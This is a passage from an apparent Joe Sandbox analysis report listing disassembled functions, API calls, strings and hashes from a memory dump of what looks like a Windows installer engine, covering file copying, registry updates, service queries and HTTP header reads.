GetLastError.KERNEL32(?,?,?,00A4FD43,?,00A46A7B,00000000,00000000,80070000,?,?,?,?,00A50109,?,00A46A7B), ref: 00A50F29

Part of subcall function 00A5299C: GetProcessHeap.KERNEL32(00000000,?,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A529A4
Part of subcall function 00A5299C: HeapSize.KERNEL32(00000000,?,00A50EF7,?,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000,80070000), ref: 00A529AB

Strings

strutil.cpp, xrefs: 00A50FFF
W, xrefs: 00A50EFE

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: Heap$ByteCharErrorLastMultiProcessSizeWide
String ID: W$strutil.cpp
API String ID: 3662877508-3697633219
Opcode ID: d19272e88dac922ada5527fcce6c60994a532eb10daf598a4165ab86a8924112
Instruction ID: d4a8f70a59bf625356635a55d43b18099ee76b9b30b0fdb10e19833f1735a1b0
Opcode Fuzzy Hash: d19272e88dac922ada5527fcce6c60994a532eb10daf598a4165ab86a8924112
Instruction Fuzzy Hash: 51414C7160024AEFDB20DFA4CD81EAA77A8BF04312F204669FD15DB290E775DE489B60

Function 00A3DC58 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 211COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,?,000000FF,00000008,000000FF,00000000,00000000,00000000), ref: 00A3DCBD

Strings

Failed to copy target product code., xrefs: 00A3DD81
Failed to insert execute action., xrefs: 00A3DDD8
Failed to plan action for target product., xrefs: 00A3DD0A
Failed grow array of ordered patches., xrefs: 00A3DE19

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString
String ID: Failed grow array of ordered patches.$Failed to copy target product code.$Failed to insert execute action.$Failed to plan action for target product.
API String ID: 1825529933-3432308488
Opcode ID: c510c5f65f36dd7cf2d877ebb7b19efd755c6d19d1fff3f9cce899a9c7a2bb75
Instruction ID: 6459596bd5833c68bbcc70601e04fc80601531fded364931473c13b264dffa58
Opcode Fuzzy Hash: c510c5f65f36dd7cf2d877ebb7b19efd755c6d19d1fff3f9cce899a9c7a2bb75
Instruction Fuzzy Hash: C381E2B9A00208EFCB15CF68D5819A9B7B5FF48321F2185AAE8159B362D730EE51DF50

Function 00A30F5D Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 161synchronizationCOMMON

Download Yara Rule

APIs

ReleaseMutex.KERNEL32(?), ref: 00A30FB4
CloseHandle.KERNEL32(?), ref: 00A30FBC

Strings

elevation.cpp, xrefs: 00A3113A
Unexpected elevated message sent to child process, msg: %u, xrefs: 00A31149
Failed to save state., xrefs: 00A31022

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseHandleMutexRelease
String ID: Failed to save state.$Unexpected elevated message sent to child process, msg: %u$elevation.cpp
API String ID: 4207627910-1576875097
Opcode ID: 252a5eca7bb70651417a4eb1020e21604451a46dbe59d1316fc51950d5780895
Instruction ID: 5c4c62fe72eeb56db5256e02ffa334752601469bd3788870bdde2a5687093a16
Opcode Fuzzy Hash: 252a5eca7bb70651417a4eb1020e21604451a46dbe59d1316fc51950d5780895
Instruction Fuzzy Hash: CC513C3A104610EFCB269F44DE51D1ABBB2FF08321B11C459F9AA5B272C732E921EF11

Function 00A44324 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000001,?,000000FF,?,000000FF,00000000,?,?,?,?,?,?,00000001,00000000), ref: 00A44357
CompareStringW.KERNEL32(00000000,00000001,?,000000FF,?,000000FF), ref: 00A443DC

Strings

Failed to initialize update bundle., xrefs: 00A44473
BA aborted detect forward compatible bundle., xrefs: 00A44441
detect.cpp, xrefs: 00A44437

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CompareString
String ID: BA aborted detect forward compatible bundle.$Failed to initialize update bundle.$detect.cpp
API String ID: 1825529933-918857910
Opcode ID: 1a33fed02b931257e1f8108080f06ab7015f16cc95e116485615a426005decf8
Instruction ID: 4d8b0ef3231b5fa1e59cf356a3794de80ab91da8c5e0380305a3fd9fbba6fc95
Opcode Fuzzy Hash: 1a33fed02b931257e1f8108080f06ab7015f16cc95e116485615a426005decf8
Instruction Fuzzy Hash: 3D517D78500705FBDF259FA4CC81FAAB7BAFF48710F208A09F525961A0C771A960DB50

Function 00A560E1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

MoveFileExW.KERNEL32(00000003,00000001,000007D0,?,00000000,?,?,?,00A56208,00000003,00000001,00000001,00000000,00000000,00000000), ref: 00A5610E
GetLastError.KERNEL32(?,?,?,00A56208,00000003,00000001,00000001,00000000,00000000,00000000,?,00A3786D,?,00000000,00000001,00000001), ref: 00A5611C
MoveFileExW.KERNEL32(00000003,00000001,000007D0,00000001,00000000,?,?,?,00A56208,00000003,00000001,00000001,00000000,00000000,00000000), ref: 00A56180
GetLastError.KERNEL32(?,?,?,00A56208,00000003,00000001,00000001,00000000,00000000,00000000,?,00A3786D,?,00000000,00000001,00000001), ref: 00A5618A

Strings

fileutil.cpp, xrefs: 00A561AA

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorFileLastMove
String ID: fileutil.cpp
API String ID: 55378915-2967768451
Opcode ID: 51d351a3243982771c3a1bcefe33b7e0294938203e2ad1812b86bbbcf247508e
Instruction ID: 2d3e713136422c25d33f622d3b7c270ff6b0d8b37381f4a52825a14d291146bf
Opcode Fuzzy Hash: 51d351a3243982771c3a1bcefe33b7e0294938203e2ad1812b86bbbcf247508e
Instruction Fuzzy Hash: AB21F131A00A16EBEF219F558D01A7E7664FF90793FA00229EC58C7192E734CD8DC7A0

Function 00A260D5 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 86registryCOMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,?,000000FF,00A27306,PackageVersion,?,?,00000001,00000001,00A27306,00000001,00020006,00000001), ref: 00A2614A
RegCloseKey.ADVAPI32(00A27306,00A27306,PackageVersion,?,?,00000001,00000001,00A27306,00000001,00020006,00000001,00000000), ref: 00A26160

Strings

Failed to format key for update registration., xrefs: 00A26101
PackageVersion, xrefs: 00A2612C
Failed to remove update registration key: %ls, xrefs: 00A2618E

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCompareString
String ID: Failed to format key for update registration.$Failed to remove update registration key: %ls$PackageVersion
API String ID: 446873843-3222553582
Opcode ID: deec268e2305abb53a9da658591b5b24db610672f3f8576638ad7b4b47a5b94e
Instruction ID: 69a843d5c92edd11d315cfda7ac7a23ef99b955438c5f8bc3f0de0edd74daee5
Opcode Fuzzy Hash: deec268e2305abb53a9da658591b5b24db610672f3f8576638ad7b4b47a5b94e
Instruction Fuzzy Hash: 0F21B131D01228FFCF11AFA9EE45D9EBBB9BF80711F20067AF510A2192D7726A54DB10

Function 00A25FEC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00A52603: SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,00000104,00000000,?,00A37AD4,0000001C,00000000,00000000,00000000,00000000), ref: 00A52624

RemoveDirectoryW.KERNEL32(00000001,00000001,00000001,00000001,00000001,00A27313,?,00000001,-0000001B,00A27313,00000001,00000000,?,00A27313,00000001,00000001), ref: 00A26080

Strings

Failed to allocate regid folder path., xrefs: 00A26097
per-machine, xrefs: 00A2601C
Failed to find local %hs appdata directory., xrefs: 00A2602C
per-user, xrefs: 00A26026, 00A2602B

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: DirectoryFolderPathRemove
String ID: Failed to allocate regid folder path.$Failed to find local %hs appdata directory.$per-machine$per-user
API String ID: 293476170-2037127396
Opcode ID: d5545b9e2a07dedd46b1fe08074ac7b5a7b5f5de61a5c8d23605b811ef891880
Instruction ID: 5cfb3d6f7249edda74d1ea7aa948a828a7fd28b8b15875b97078bea0328b6f70
Opcode Fuzzy Hash: d5545b9e2a07dedd46b1fe08074ac7b5a7b5f5de61a5c8d23605b811ef891880
Instruction Fuzzy Hash: 4B216DB1D05229FBCF11EFA8EE8189DBBB8FF14701B108476F914A2151D731AE58EB80

Function 00A55FAE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,00000000,00000000,?,?,00000000,?,00A560BB,00000000,00000000,?,?,?,00A37B8D,00000000,?), ref: 00A55FC8
GetLastError.KERNEL32(?,00A560BB,00000000,00000000,?,?,?,00A37B8D,00000000,?,00000001,00000003,000007D0,?,?,00A39CB8), ref: 00A55FD6
CopyFileW.KERNEL32(00000000,00000000,?,00000000,00000000,?,00A560BB,00000000,00000000,?,?,?,00A37B8D,00000000,?,00000001), ref: 00A5603A
GetLastError.KERNEL32(?,00A560BB,00000000,00000000,?,?,?,00A37B8D,00000000,?,00000001,00000003,000007D0,?,?,00A39CB8), ref: 00A56044

Strings

fileutil.cpp, xrefs: 00A56064

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CopyErrorFileLast
String ID: fileutil.cpp
API String ID: 374144340-2967768451
Opcode ID: 36d49adc05ac709b56328266efae97ba98a2891b8d3b6fe216b95a673341e2a2
Instruction ID: 81933df1e0c8ce4e9fb3e09f2d3c5bea0d547fe20eaa9e6c9e6af9b8bb0e4237
Opcode Fuzzy Hash: 36d49adc05ac709b56328266efae97ba98a2891b8d3b6fe216b95a673341e2a2
Instruction Fuzzy Hash: 0021D4B2500212EAAF218B658C50B7F3668FF907A3BA8852AFC54C75D0D735CC499361

Function 00A57E9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateContextProperty.CRYPT32(?,00A3860E,00000000,00000003), ref: 00A57EB8
GetLastError.KERNEL32(?,00A3860E,?,00000003,00AAC56B,?), ref: 00A57EBE
CertGetCertificateContextProperty.CRYPT32(?,00A3860E,00000000,00000003), ref: 00A57F21
GetLastError.KERNEL32(?,00A3860E,?,00000003,00AAC56B,?), ref: 00A57F27

Strings

certutil.cpp, xrefs: 00A57EE0, 00A57F08, 00A57F49

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CertCertificateContextErrorLastProperty
String ID: certutil.cpp
API String ID: 980632616-2692845373
Opcode ID: 0ee146681423f476bb66faf764e9390b89733599dfc503258110020492b87ac1
Instruction ID: e046e50e41617dafa80f13c0827bf9ffb2f4ba9a96d8a6b32f07760f126c86c9
Opcode Fuzzy Hash: 0ee146681423f476bb66faf764e9390b89733599dfc503258110020492b87ac1
Instruction Fuzzy Hash: 20216D7134430BBAEB10DBA5ED81F6E36A9BF45742F104029BD14EB191EA75DD0C9760

Function 00A57F7B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

QueryServiceConfigW.ADVAPI32(?,00000000,00000000,?,00000001,00000000,?,?,?,?,00A3EFBF,?,?), ref: 00A57F9A
GetLastError.KERNEL32(?,?,?,00A3EFBF,?,?), ref: 00A57FAA

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

QueryServiceConfigW.ADVAPI32(?,00000000,?,?,?,00000001,?,?,?,00A3EFBF,?,?), ref: 00A57FE3
GetLastError.KERNEL32(?,?,?,00A3EFBF,?,?), ref: 00A57FE9

Strings

svcutil.cpp, xrefs: 00A57FCC, 00A58007

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ConfigErrorHeapLastQueryService$AllocateProcess
String ID: svcutil.cpp
API String ID: 355237494-1746323212
Opcode ID: 77c16a82b75d25a12d26153264e774cc4ec89fc6bfead531da00d617dbc3d6e0
Instruction ID: 72949d23d84b758a55c5b2570453d47d0f9fb1a47260c36ba2e79ecbdffbe8c1
Opcode Fuzzy Hash: 77c16a82b75d25a12d26153264e774cc4ec89fc6bfead531da00d617dbc3d6e0
Instruction Fuzzy Hash: A821567164030AFEEB109B95DD81B7E7AA8BB04756F104139BD00F6191EAB9DE4C9750

Function 00A2F3E0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A2F3F7

Strings

Failed to read package id from message buffer., xrefs: 00A2F41F
Failed to find package: %ls, xrefs: 00A2F477
Failed to read action., xrefs: 00A2F43F
Failed to execute package provider action., xrefs: 00A2F496

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: _memset
String ID: Failed to execute package provider action.$Failed to find package: %ls$Failed to read action.$Failed to read package id from message buffer.
API String ID: 2102423945-384206569
Opcode ID: 250b59ed6dcb574f699613035e7946209cf6d103edc67166a839299dd6a473ce
Instruction ID: efe6ca64749272e00948bff32bcc2e24e103b6e423e3222d8ca230f710360281
Opcode Fuzzy Hash: 250b59ed6dcb574f699613035e7946209cf6d103edc67166a839299dd6a473ce
Instruction Fuzzy Hash: C3213B72D00529BFCF12EA98EE41EEE7A78AB14710F104471FD00B6191D7B5DF549B91

Function 00A58175 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80networkCOMMON

Download Yara Rule

APIs

HttpQueryInfoW.WININET(?,?,00000001,00000000,?), ref: 00A581C9
GetLastError.KERNEL32(?,00A472DB,00000000,00000033,?,00000000,00000013,00000000,?,?,?,00A47457,00000000,?,00000000,?), ref: 00A581CF
HttpQueryInfoW.WININET(?,?,00000001,00000000,?), ref: 00A58202
GetLastError.KERNEL32(?,00A472DB,00000000,00000033,?,00000000,00000013,00000000,?,?,?,00A47457,00000000,?,00000000,?), ref: 00A58208

Strings

inetutil.cpp, xrefs: 00A58229

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: ErrorHttpInfoLastQuery
String ID: inetutil.cpp
API String ID: 4218848986-2900720265
Opcode ID: 955f489df7a6538bc88a4deda242a8551af5481303a4e31a4e7afeb21a0a3dab
Instruction ID: 00d0767cf88815bbf795374c4334fdbe2d5f2c9393b5ecde668ff3840e1b7a9b
Opcode Fuzzy Hash: 955f489df7a6538bc88a4deda242a8551af5481303a4e31a4e7afeb21a0a3dab
Instruction Fuzzy Hash: 49215E71A0060ABBDB019F99ED81DEE7AACFF54352F200425F950E6110EB75EA499B60

Function 00A57188 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,00000000,00000001,00000009,00000000,?,?,?,00A3201A,00000001,00000000,Setup,00000000,log,0000000D,00000000), ref: 00A571CF
GetLastError.KERNEL32(?,?,?,00A3201A,00000001,00000000,Setup,00000000,log,0000000D,00000000,00000000,?,?,?), ref: 00A571D7
GetCurrentDirectoryW.KERNEL32(00000000,?,?,00000000,?,?,?,00A3201A,00000001,00000000,Setup,00000000,log,0000000D,00000000,00000000), ref: 00A57219
GetLastError.KERNEL32(?,?,?,00A3201A,00000001,00000000,Setup,00000000,log,0000000D,00000000,00000000,?,?,?), ref: 00A5721F

Strings

dirutil.cpp, xrefs: 00A57249

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CurrentDirectoryErrorLast
String ID: dirutil.cpp
API String ID: 152501406-2193988115
Opcode ID: 5eafe30eaab86ca1f3b4883ffaa39f3835dcc80f5b3c1c1f668d87a69f88dbaa
Instruction ID: 93ff3b44f01c235c213683c60c0de7b7951ac56d83eb48a0efe802c36c650fb1
Opcode Fuzzy Hash: 5eafe30eaab86ca1f3b4883ffaa39f3835dcc80f5b3c1c1f668d87a69f88dbaa
Instruction Fuzzy Hash: F221B371A04616FBDB12CBE5ED44AAEBBB9FF15702F20416AF900F7110E770DA489B60

Function 00A413DA Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 79registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A53DFC: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00A57B1F,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 00A53E10

CompareStringW.KERNEL32(00000000,00000001,?,000000FF,?,000000FF,?,?,?,-80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00020019,?,?,?,00000000), ref: 00A41459
RegCloseKey.ADVAPI32(?,-80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00020019,?,?,?,00000000,?,?,?,?,00000001,00000000), ref: 00A414A3

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00A413F6
Failed to enumerate uninstall key for related bundles., xrefs: 00A4147D
Failed to open uninstall registry key., xrefs: 00A41422

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CloseCompareOpenString
String ID: Failed to enumerate uninstall key for related bundles.$Failed to open uninstall registry key.$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 2817536665-2531018330
Opcode ID: 74aac54fb9437e03cf963d7cadda7cc49f45621499711e6908006eef43151480
Instruction ID: b9dfb407e71228fb7ef2c4060d7a200561c14e6c02eb806ee4b05e388e71836f
Opcode Fuzzy Hash: 74aac54fb9437e03cf963d7cadda7cc49f45621499711e6908006eef43151480
Instruction Fuzzy Hash: 2F21A1BE900218FBCF11AFE49D859DDBB75FB44361F20856AF92173090C2754EC49790

Function 00A56C44 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000003,00000001,00000000,00000001,?,00A5616D,00000001,00000000,?,?,?,00A56208,00000003,00000001,00000001,00000000), ref: 00A56C52
GetLastError.KERNEL32(?,00A5616D,00000001,00000000,?,?,?,00A56208,00000003,00000001,00000001,00000000,00000000,00000000,?,00A3786D), ref: 00A56C60

Part of subcall function 00A56C19: GetFileAttributesW.KERNEL32(00000003,00000000,?,00A56C7D,00000003,00000000,?,00A5616D,00000001,00000000,?,?,?,00A56208,00000003,00000001), ref: 00A56C22

Part of subcall function 00A56C44: CreateDirectoryW.KERNEL32(00000003,00000001,00000000,?,00A5616D,00000001,00000000,?,?,?,00A56208,00000003,00000001,00000001,00000000,00000000), ref: 00A56CDB
Part of subcall function 00A56C44: GetLastError.KERNEL32(?,00A5616D,00000001,00000000,?,?,?,00A56208,00000003,00000001,00000001,00000000,00000000,00000000,?,00A3786D), ref: 00A56CE5

Strings

dirutil.cpp, xrefs: 00A56CB1

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723479206.0000000000A7C000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a20000_UNK_.jbxd

Similarity

API ID: CreateDirectoryErrorLast$AttributesFile
String ID: dirutil.cpp
API String ID: 925696554-2193988115
Opcode ID: 33b866583cebfa21f82205b4b9191c7eab8fc353fc7e57c4b363d1f3c2fe8008
Instruction ID: 4b74c117fa653acbe72070b97eacf92c4fb7cb8dcf9a14a462c6eed99b1ebe0f
Opcode Fuzzy Hash: 33b866583cebfa21f82205b4b9191c7eab8fc353fc7e57c4b363d1f3c2fe8008
Instruction Fuzzy Hash: 5111BE37200706A6DB305B669C54B3A36B8FFD4763BA24829FC99CB150EA35CC498260

Function 00A44E8F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00A52955: GetProcessHeap.KERNEL32(00A46A7B,?,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000), ref: 00A52966
Part of subcall function 00A52955: RtlAllocateHeap.NTDLL(00000000,?,00A50FA3,?,00000001,80070000,00000000,0000FFFF,?,?,?,00A4FD43,?,00A46A7B,00000000,00000000), ref: 00A5296D

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A44F25
ReleaseMutex.KERNEL32(?), ref: 00A44F54
SetEvent.KERNEL32(?), ref: 00A44F5D

Strings

NetFxChainer.cpp, xrefs: 00A44EC9
Failed to allocate buffer., xrefs: 00A44ED6

Memory Dump Source

Source File: 00000002.00000002.2723082623.0000000000A21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000002.00000002.2722956839.0000000000A20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723272915.0000000000A5B000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2723382361.0000000000A76000.00000004.00000001.01000000.00000005.sdmpDownload File
